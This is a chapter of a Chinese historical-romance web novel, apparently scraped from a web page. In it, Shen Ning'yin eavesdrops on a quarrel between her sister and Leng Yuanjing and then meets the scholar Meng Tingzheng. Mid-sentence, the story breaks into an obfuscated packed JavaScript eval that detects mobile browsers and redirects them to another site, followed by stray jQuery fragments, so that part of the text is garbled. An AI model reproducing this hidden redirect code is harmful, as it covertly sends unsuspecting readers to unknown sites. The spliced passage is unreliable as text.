夜色染着薄凉,万盏华灯明艳而葳蕤地串联起上京城的大街小巷。
“就在前面。”跟踪的丫鬟指了指前方的酒肆,沈宁音略略打量,点了下头。兰香麻利地将赏银送上。
沈宁音提着裙摆走过去,她戴着靛蓝色帷帽,穿的是襦裙和素色薄袄。但即便如此,依旧惹来窗旁酒客的侧目。
这地方并非繁华坊街,往来极少有富贵的,兰香长得清秀,着实太扎眼,沈宁音回眸看了兰香一眼,朝她挥了挥手:“我自己进去即可,你领人在旁边儿茶楼候着。”
“是。”兰香听话地带着家丁退下。
小二原有些瞌睡的,听着敲桌子的声音,眼睛微睁开丝缝,他刚想不耐地摆个脸色,冷不丁看见沈宁音推过来的银锭。
“要一处雅间。这些都是打赏。”
“没问题!”小二眼睛一亮,连忙去拿银子:“包您满意!”
沈宁音将银子往后收了收,带笑的声音从面纱后逸出:“那雅间须得在前不久进来的那位女客隔壁。”
在沈宁音进来之前,也就只有沈弦思打扮的那个丫鬟。小二当场心领神会,小声道:“夫人……是要捉奸?”
沈宁音笑了笑,没说话。小二便当她默认了。犹豫了一下,小二还是依依不舍地把银钱往回推了推:“这位夫人,非是小人不肯行方便,实在是那房间在拐角,相邻的也就一间房,那房有人……”
闻言,沈宁音也不放弃,笑着道:“烦请你带我去,我来交涉。”
小二能赚银钱自是愿意的。
酒肆并不出色,墙壁地板都有些旧了,沈宁音踩在上头也能听见咯吱咯吱的细微声音,倒数第二盏灯笼处,沈宁音停下脚步。
小二把她带到之后,看在银子的面儿上提醒了一句:“好叫夫人您知晓,这雅间的客人是个书生,脸臭,不好相与。您要是不想在这儿了,就来找小人,小人给您换个好的。”
“多谢。”沈宁音倒是深看了这小二一眼,记下了。觉着倘使将来盘个酒肆什么的,倒是可以命人来这儿挖一挖墙角。
沈宁音的手将将放在门扉上,隔壁就传来争吵声音。她嘴角微弯,推门走进了隔壁。
“明明是你做下了那等事,偏生还来怨我?”沈弦思哭得很难看。
地上已经给砸了一地的杯盘碗盏,醇香的酒气从破碎的酒壶内逸出,弥散在房间各处。冷元景用力闭了闭眼,桌子下的手指攥得泛白。
他没发火,只是眼底含着冷,冷元景是笑着的,虽然有些勉强,但他连起身的动作都儒雅温柔。
走过去牵起沈弦思的手:“弦思,我们青梅竹马那么多年,我会那么做都是因为在乎你、因为爱你,圆房是早晚的事,我不过是提前罢了。”
沈弦思感受着手上他温柔的摩挲,心里有点动摇,可她蓦地想到沈宁音嫁的是侯府,想到那位被她自己放弃的世子爷,沈弦思就觉着不甘心。
她眼前的男人模样好、学问也好、更会疼人。唯独就是出身不好。
沈弦思那样骄傲的人,什么都是要同旁人比的,从前在阮家要做最受宠的女儿,将来嫁人也不能嫁个比旁人差的。
当初死活要嫁给冷元景,除了因为自己着实喜欢他,更因听闻那昌平侯府家的世子爷是个老男人、二十六岁都尚未婚配、说不定要守活寡。
沈弦思权衡之下,这才选了冷元景。
如今,那位朱七郎家世煊赫,几个哥哥都青云直上,朱七郎的模样在贵人里也还算称头。她嫁定了!
“你不必再说了!”沈弦思站起身,背对着冷元景:“我三日后就要出嫁,我只希望元景哥哥能祝福我。”
冷元景看着她,黑眸里仿佛有乌云翻滚:“沈弦思,你是不是与那人有了首尾!?”
沈弦思不料他会如此质问,她转回头盯着冷元景的眸子,心里一阵阵发虚。
别过脸,沈弦思手指攥紧了裙裾,小声道:“没有的事。我心里只有元景哥哥,只是你不懂珍惜,让我丢尽颜面。”
“哼!”冷元景也懒得演了,愤愤地盯着沈弦思的侧脸:“举头三尺有神明!你敢发誓么?发誓你没有跟那男人有过什么?”
“没有!”沈弦思尽力叫自己冷静下来,语气坚决的举起手:“我沈弦思发誓……”
她有些不敢说,犹犹豫豫的。
冷元景抬手就将她的手腕握紧拉到心口,这动作将沈弦思惊得愣住。
“你还是不要发誓了,我怕你报应不爽。”
“你!你什么意思?”沈弦思心里的不安更强烈了,她拼命挣扎,却挣脱不开:“你放开我!”
她从未被冷元景这样不顾她感受地捏着手腕,沈弦思觉着自己的手都要断掉了。
但更让她恐慌的声音出现了,冷元景咬牙切齿地开口道:“你我之事,我已经悉数告知沈伯父!可都出了这等事情,他却仍然将你嫁过去,你告诉我为何?”
“为……为何?”沈弦思咬着牙,半点也不敢放松,只等着他揭晓。
冷元景抬手用力将沈弦思扔回椅子上,沈弦思一声娇呼。
“还给我装什么?!”冷元景指着沈弦思的鼻子,眼睛通红地控诉:“若非你们也做过这等事,否则朱家能娶你?你爹会舍了我?!”
被男人一语道破,沈弦思心里慌了一阵,但很快她便重又振作起来,她揉着被椅子撞疼的地方,站起身:“那又怎样!你我还没拜堂!我便有地选!”
冷元景一早就带着失望的预期来的,可真正从她口中听来,却又似更钝的刀子在心里分割着,刀刀割人心肝。
“我说的不对么?!”沈弦思见他不说话,就油然生了底气,冷笑着讥讽:“跟你定亲的是阮家女!该是她沈宁音!你去娶她呀!”
她不提沈宁音还好,沈弦思提起沈宁音那一刻,原本只是带着失望与冷寒的冷元景,整个人的脸色变得黑沉起来,仿佛要压不住心底的怒气般,冷元景咬着牙:“你以为我不想?!当初要是嫁过来的是你姐姐就好了!”
“你!”沈弦思瞠大了眼睛,脸上气得转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367943|146125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红,她呼吸急促,冲上去举拳头打冷元景:“你竟敢想着她!她成亲前你们连面都没见过!她定是耐不住寂寞勾引你了!是不是!”
冷元景眼神也很冷,没有还手,更没阻止,讥讽一笑:“你以为她能同你这般不知廉耻!”
一墙之隔,沈宁音下细听着这些话,尤其是“廉耻”二字从冷元景嘴里说出来时,沈宁音只觉好笑。
明明他也是个算计未婚妻,婚前同了房的卑劣之人。果然,物以类聚人以群分……
“嗒”一声清脆的声响。
沈宁音抬眸看过去,是桌子对面的男子将茶盏放回了桌案上。男子虽坐着,但从身形看,也能想象出对方身量不低,眉目清秀,带着书卷气。
男人虽算不上浓俊,气质方面也算拔群。
发现沈宁音在看自己,男人皱了皱眉,颇有些不自在地别开脸。
他的手边除了书卷、茶盏,还有银票。
银票是沈宁音给的。她一进门就看出来,此人的身份必定是提前赶考的举子。
客栈里头人来人往,随时都很热闹,而这种生意冷清的酒肆不同,雅间寻常少人搅扰,打烊时间又迟,拿来秉烛夜读反而是个极好的去处。
世家子弟又或者有一二亲眷在上京的,几乎都不必考虑住处,而能找上这么个破地方来躲清净的,只可能是寒门学子了。
他们缺钱!
而沈宁音目下最不缺的,就是这个。只要是用不伤他们自尊的说法把银子给过去。怎么都不好意思再赶自己了。
沈宁音看他尴尬,笑着打破沉默:“还不知先生叫什么名字?”
男子没看她,目光落在翻开的书页上:“小生姓孟,字廷正。”
孟廷正?沈宁音甫一听见便觉有些耳熟,等她凝眉喃喃出这个名字时,她蓦地瞠目:是他?
沈宁音抬起脸,漂亮的眼睛里带着点审视。
人一旦用上了这等强烈的眸光,对方几乎很难忽视掉你的注视。
孟廷正有些不自在地动了动身子,不得不抬起眼看过去,神色里带着些无奈:“这位夫人,若是没事,小生想用功了。”
“孟先生请便。”沈宁音装没听懂他赶客的心思,抬手从袖子里又掏出一张五两的银票来。
孟廷正更无言了,他叹了一息,低下脑袋,神色纠结。
沈宁音嘴角微弯,毕竟眼前这人可不是旁人,孟廷正就是她起先帮着沈玉珠物色的进士人选。
一介寒门,实力闯入殿试,是万分不易的。最最要紧的是,前世他官声极好,要不是沈宁音帮着冷元景走了恩师孙靖元的后门,最后能凭实力得到拔擢、进京为官平步青云的,可就是这位孟廷正了。
沈宁音是越看越觉着像是看侄女婿。不动声色询问起他家中情况来。
孟廷正一板一眼地回答着。半晌,回过味儿来,蓦地抬头,眼神里有情绪闪过。
他倏地站起身往旁边走了几步,耳廓绯红:“这位夫人,银子你拿回去罢!小生……不是那种人。”